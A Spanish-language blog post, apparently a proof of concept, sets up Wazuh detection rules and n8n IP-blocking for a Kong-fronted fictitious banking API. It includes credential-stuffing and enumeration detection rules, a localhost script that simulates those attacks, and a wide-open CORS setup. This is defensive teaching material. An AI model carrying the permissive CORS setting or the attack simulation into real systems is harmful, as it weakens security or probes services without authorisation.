    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Multiple server errors on banking API - Service may be down or experiencing issues<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,critical,service_degradation<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- ENDPOINTS SENSIBLES --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Acceso a endpoints de cuentas --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100106"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100101<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/cuentas<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Access to accounts endpoint - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,sensitive,accounts<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Acceso a endpoints de transacciones --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100107"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100101<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/transacciones<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Access to transactions endpoint - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,sensitive,transactions<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Acceso a endpoints de transferencias --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100108"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100101<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/transferencias<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Access to money transfer endpoint - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,sensitive,transfers,high_risk<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- MÉTODOS HTTP ESPECÍFICOS --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Peticiones DELETE en banking (alta sensibilidad) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100110"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">protocol</span>&gt;</span>DELETE<span class="hljs-tag">&lt;/<span class="hljs-name">protocol</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: DELETE request on banking API - $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,modification,delete,high_risk<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Peticiones PUT/PATCH en banking --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100111"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">protocol</span>&gt;</span>PUT|PATCH<span class="hljs-tag">&lt;/<span class="hljs-name">protocol</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Modification request on banking API - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,modification<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Peticiones POST en banking --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100112"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">protocol</span>&gt;</span>POST<span class="hljs-tag">&lt;/<span class="hljs-name">protocol</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^2\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: POST request on banking API - $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,creation<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- CÓDIGOS DE ESTADO ESPECÍFICOS --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- 401 - No autorizado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100120"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^401$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Unauthorized access attempt to banking API - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,authentication,unauthorized<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples 401 desde la misma IP --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100121"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"3"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>100120<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Multiple unauthorized access attempts from $(srcip) - Possible credential stuffing attack<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,attack,authentication,credential_stuffing<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- 403 - Prohibido --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100122"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^403$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Forbidden access attempt to banking API - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,authorization,forbidden<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- 404 - No encontrado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100123"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^404$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Resource not found on banking API - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,not_found<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples 404 desde la misma IP (posible escaneo de endpoints) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100124"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"120"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>100123<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Multiple 404 errors from $(srcip) - Possible endpoint enumeration attack<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,attack,enumeration<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- 429 - Too Many Requests (Rate Limiting) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100125"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^429$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Rate limit exceeded on banking API from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,rate_limit,abuse<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- TRÁFICO NO BANKING (Otros endpoints) --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Accesos exitosos a otros endpoints --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100130"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"3"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^2\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Successful request - $(protocol) $(url) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,success<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Errores en otros endpoints --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100131"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^4\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Client error - $(protocol) $(url) - Status: $(id) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,error<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
</code></pre>
<p>Listo! Ya estamos para ejecutar.</p>
<pre><code class="lang-bash">docker-compose up -d
</code></pre>
<p>Vamos a pegarle una mirada a los contenedores.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759873875228/83d085d5-2cc0-4ba2-8bff-fe93def454f1.png" alt class="image--center mx-auto" /></p>
<p>Para que tengamos una idea de los puertos y contenedores, te los paso en limpio aquí.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759874531750/b7f8bc64-5dd4-4e5c-876b-3d9a8a66bd5c.png" alt class="image--center mx-auto" /></p>
<p><strong>Banking API</strong></p>
<p>Es una API generada para este Prueba de Concepto con información ficticia. Pueden encontrar el código en el repositorio, pero a grandes rasgos nos data esta información:</p>
<ul>
<li><p>Gestiona <strong>clientes</strong> (nombre, email, teléfono, fecha de registro).</p>
</li>
<li><p>Gestiona <strong>cuentas</strong> vinculadas a clientes (número, tipo, saldo, moneda).</p>
</li>
<li><p>Gestiona <strong>tarjetas de crédito</strong> asociadas a cuentas (número, límite, saldo usado, vencimiento). En las respuestas públicas el CVV se oculta.</p>
</li>
<li><p>Registra <strong>transacciones</strong> (depósitos, retiros, transferencias, compras).</p>
</li>
<li><p>Provee un <strong>resumen</strong> por cliente que agrega cuentas y tarjetas (totales de saldos y crédito disponible).</p>
</li>
<li><p>Incluye endpoints de salud y la documentación.</p>
</li>
</ul>
<h3 id="heading-kong">Kong</h3>
<p>Voy a proporcionarles los comandos para que nuestro API Manager consuma la Banking API. Vamos paso a paso: primero, debemos crear un "<strong>Service</strong>" en Kong que represente tu API backend.</p>
<pre><code class="lang-bash">curl -i -X POST http://localhost:8001/services/ \
  --data <span class="hljs-string">"name=banking-api"</span> \
  --data <span class="hljs-string">"url=http://banking-api:3000"</span>
</code></pre>
<p>Creamos un "<strong>Route</strong>" que define cómo los clientes accederán a tu servicio. Vincula la ruta al servicio creado anteriormente.</p>
<pre><code class="lang-bash">curl -i -X POST http://localhost:8001/services/banking-api/routes \
  --data <span class="hljs-string">"name=banking-route"</span> \
  --data <span class="hljs-string">"paths[]=/banking"</span> \
  --data <span class="hljs-string">"strip_path=true"</span>
</code></pre>
<p>Habilitamos CORS (Cross-Origin Resource Sharing) para permitir peticiones desde navegadores. Aca lo voy a crear de una forma permisiva.</p>
<pre><code class="lang-bash">curl -i -X POST http://localhost:8001/services/banking-api/plugins \
  --data <span class="hljs-string">"name=cors"</span> \
  --data <span class="hljs-string">"config.origins=*"</span> \
  --data <span class="hljs-string">"config.methods[]=GET"</span> \
  --data <span class="hljs-string">"config.methods[]=HEAD"</span> \
  --data <span class="hljs-string">"config.methods[]=PUT"</span> \
  --data <span class="hljs-string">"config.methods[]=PATCH"</span> \
  --data <span class="hljs-string">"config.methods[]=POST"</span> \
  --data <span class="hljs-string">"config.methods[]=DELETE"</span> \
  --data <span class="hljs-string">"config.methods[]=OPTIONS"</span> \
  --data <span class="hljs-string">"config.headers[]=*"</span> \
  --data <span class="hljs-string">"config.exposed_headers[]=*"</span> \
  --data <span class="hljs-string">"config.credentials=true"</span> \
  --data <span class="hljs-string">"config.max_age=3600"</span>
</code></pre>
<p>Como saben, <strong>Kong</strong> es un API Manager. Podríamos habilitar varios plugins, pero para la PoC no son necesarios. Podrías habilitar <em>Rate Limiting</em>, <em>Request Size Limiting</em>, <em>Correlation ID</em> o <em>Request Transformer</em>. Vamos a probarlo.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Vamos a ver los clientes</span>
curl http://localhost:8000/banking/clientes | jq
<span class="hljs-comment"># Cliente con ID 1</span>
curl http://localhost:8000/banking/clientes/1 | jq
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760013338567/7f83eb76-ef89-4b62-9f23-129664f169f8.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-konga">Konga</h3>
<p>Todo lo que hicimos con curl, podemos hacerlo a través de la interfaz gráfica. Primero, vamos a crear nuestra cuenta en Konga y luego agregar la conexión para gestionar Kong.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760011864340/f1626da3-723c-4cfc-9e73-fe1143bcda85.png" alt class="image--center mx-auto" /></p>
<p>Ahí se ve todo lo creado, anteriormente. Por ejemplo el servicio.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760013401577/b0b166a5-97c5-45ad-baef-fe6fd8f0ebb1.png" alt class="image--center mx-auto" /></p>
<p>o la ruta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760013433243/d1441bda-7e29-49b4-b904-c2b686e68160.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-wazuh">Wazuh</h3>
<p>Si todo salió bien, ingresamos a Wazuh para ver nuestras consultas. Para ver las reglas de Kong, aplique un filtro <code>decoder.name: kong-decoder</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760016132951/8ac5949b-791f-4867-aae4-ba7402088fe5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-n8n">N8N</h3>
<p>Ya levantado el contenedor ingresamos a http://localhost:5678. Ahí armaremos dos workflows, uno para el análisis y otro para que los administradores puedan liberar la ip bloqueada.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760126072194/1c2b31ee-d8b2-4898-a017-c346f32bc996.png" alt class="image--center mx-auto" /></p>
<p>Una vez que suframos el ataque, habrá lógica para decidir si debemos bloquear o no. Esto es una prueba, pero imagino consultas de diferentes API, Slack o servicios internos. Una vez que se ejecute el <strong>Workflow Block IP</strong>, deberíamos recibir un correo como este:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760126358580/2ab5b93c-cf33-4304-84c7-e7a57e760cff.png" alt class="image--center mx-auto" /></p>
<p>Al final del correo, podemos invocar el Workflow Release IP para liberar la dirección del atacante.</p>
<h3 id="heading-simulacion-de-ataque">Simulacion de Ataque</h3>
<p>Les dejo un script para simular un ataque rápidamente.</p>
<pre><code class="lang-basic">#!/bin/bash
# quick-test.sh - Prueba rpida

echo <span class="hljs-string">" Generando alertas de prueba..."</span>

# Trfico normal
curl -s http://localhost:<span class="hljs-number">8000</span>/banking/cuentas

# Mltiples <span class="hljs-number">404</span> (activar regla de correlacin)
<span class="hljs-keyword">for</span> i in {<span class="hljs-number">1..12</span>}; do
    curl -s http://localhost:<span class="hljs-number">8000</span>/banking/fake-endpoint-$i
    sleep <span class="hljs-number">0.5</span>
done

# Mltiples <span class="hljs-number">401</span> (credential stuffing)
<span class="hljs-keyword">for</span> i in {<span class="hljs-number">1..5</span>}; do
    curl -s http://localhost:<span class="hljs-number">8000</span>/banking/cuentas -H <span class="hljs-string">"Authorization: Bearer fake_$i"</span>
    sleep <span class="hljs-number">1</span>
done

# <span class="hljs-keyword">DELETE</span> peligroso
curl -s -X <span class="hljs-keyword">DELETE</span> http://localhost:<span class="hljs-number">8000</span>/banking/cuentas/<span class="hljs-number">123</span>

echo <span class="hljs-string">" Alertas generadas. Revisa n8n y Wazuh!"</span>
</code></pre>
<p>Espero que les sirva y puedan usarlo en sus empresas, si necesitan una mano me avisan.</p>
<p>Saludos, Santi.</p>
<h3 id="heading-bonus-track">Bonus Track</h3>
<p>Dejo los Worflows de N8N para analizar con Ollama. <a target="_blank" href="https://drive.google.com/drive/folders/1LBsMlKYLv9mm-veLfMY4VplLfZDcGqcH?usp=sharing">Código</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760386429641/7f13f9b5-0dfd-429a-b3d2-7379097e2385.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760386420742/f8e19da7-4757-411e-ad88-70d1587dff25.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760386398276/a101fb50-2d7b-41c1-8f3f-a149d593ba1e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760386359883/6eb2f93b-4e06-4d4a-8810-babe3ef7eb5a.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-comandos-utiles">Comandos Útiles</h3>
<pre><code class="lang-basic"># <span class="hljs-number">1.</span> Reiniciar Wazuh Manager
docker-compose restart single-node-wazuh.manager-<span class="hljs-number">1</span>

# <span class="hljs-number">2.</span> Verificar que está escuchando en el puerto <span class="hljs-number">514</span>
docker exec single-node-wazuh.manager-<span class="hljs-number">1</span> netstat -tlnp | grep <span class="hljs-number">514</span>

# <span class="hljs-number">3.</span> Revisar ossec.conf
docker exec single-node-wazuh.manager-<span class="hljs-number">1</span> cat /var/ossec/etc/ossec.conf

# <span class="hljs-number">4.</span> Ver logs de Integraciones
docker exec single-node-wazuh.manager-<span class="hljs-number">1</span> tail -f /var/ossec/logs/integrations.<span class="hljs-keyword">log</span>

# <span class="hljs-number">5.</span> Ver logs de Alarmas de Kong
docker exec -it single-node-wazuh.manager-<span class="hljs-number">1</span> tail -f /var/ossec/logs/alerts/alerts.<span class="hljs-keyword">log</span> | grep -A <span class="hljs-number">10</span> <span class="hljs-string">"kong"</span>

# <span class="hljs-number">6.</span> Ver logs de Wazuh Manager
docker logs -f single-node-wazuh.indexer-<span class="hljs-number">1</span>
</code></pre>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://ipv6.rs/tutorial/Ubuntu_Server_Latest/Kong/">https://ipv6.rs/tutorial/Ubuntu_Server_Latest/Kong/</a></p>
<p><a target="_blank" href="https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html">https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html</a></p>
]]></content:encoded></item><item><title><![CDATA[La observabilidad como aliado, monitorizando y alertando Fortinet con Wazuh.]]></title><description><![CDATA[Introduccion
Hace un tiempo escribí sobre Wazuh y recibí muchas consultas. Voy a avanzar un poco más y vamos a monitorear un equipo Fortigate para tener alarmas en tiempo real y actuar en consecuencia. La verdad es que este SIEM nos ofrece una gran v...]]></description><link>https://blog.santiagoagustinfernandez.com/la-observabilidad-como-aliado-monitorizando-y-alertando-fortinet-con-wazuh</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/la-observabilidad-como-aliado-monitorizando-y-alertando-fortinet-con-wazuh</guid><category><![CDATA[wazuh]]></category><category><![CDATA[Wazuh Dashboard]]></category><category><![CDATA[#wazuhalerts]]></category><category><![CDATA[Fortinet ]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Sun, 05 Oct 2025 23:32:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759707066695/deb241f2-4fca-4a91-8622-3eb80ecf7daf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduccion">Introduccion</h3>
<p>Hace un tiempo escribí sobre <a target="_blank" href="https://wazuh.com/">Wazuh</a> y recibí muchas consultas. Voy a avanzar un poco más y vamos a monitorear un equipo Fortigate para tener alarmas en tiempo real y actuar en consecuencia. La verdad es que este SIEM nos ofrece una gran variedad de opciones para configurar. En este caso en particular, vamos a crear dos tipos de reglas personalizadas, una para las IPs y otra para las conexiones VPN. Queremos que cuando se ejecute una regla, nos envíe un correo. Claro que puedes modificarlo para que envíe un mensaje a Slack o Teams. Y por qué no llevarlo a un N8N, algo en lo que estoy trabajando.</p>
<p>La idea es tener esta clase de alarmas. Dejo estos ejemplos, uno de IPs con un ataque de DoS y uno de VPN con un usuario fuera de horario laboral.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759697396459/8bc08bfd-b17a-420f-bb9b-47169ad571c1.png" alt class="image--center mx-auto" /></p>
